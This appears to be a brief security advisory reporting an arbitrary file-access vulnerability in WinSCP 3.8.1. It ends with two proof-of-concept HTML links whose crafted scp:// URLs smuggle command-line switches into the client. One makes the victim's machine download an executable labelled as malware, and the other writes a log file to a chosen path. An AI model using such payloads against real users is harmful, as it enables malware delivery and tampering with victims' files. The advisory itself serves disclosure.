source: https://www.securityfocus.com/bid/18384/info

WinSCP is prone to an arbitrary file-access vulnerability. 

An attacker can exploit this issue to upload arbitrary files to a victim user's computer or to download arbitrary files from the victim's computer in the context of the vulnerable application.

This issue affects version 3.8.1; earlier versions may also be vulnerable.

<a href="scp://user:password@www.example.com:22/%22%20/console%20/command%20%22lcd%20c:\%22%20%22get%201.exe%22%20exit">download malware.exe</a>
<a href="scp://jelmer@www.example.com:22/%22%20%22/log=c:%5csomefile%22"log</a>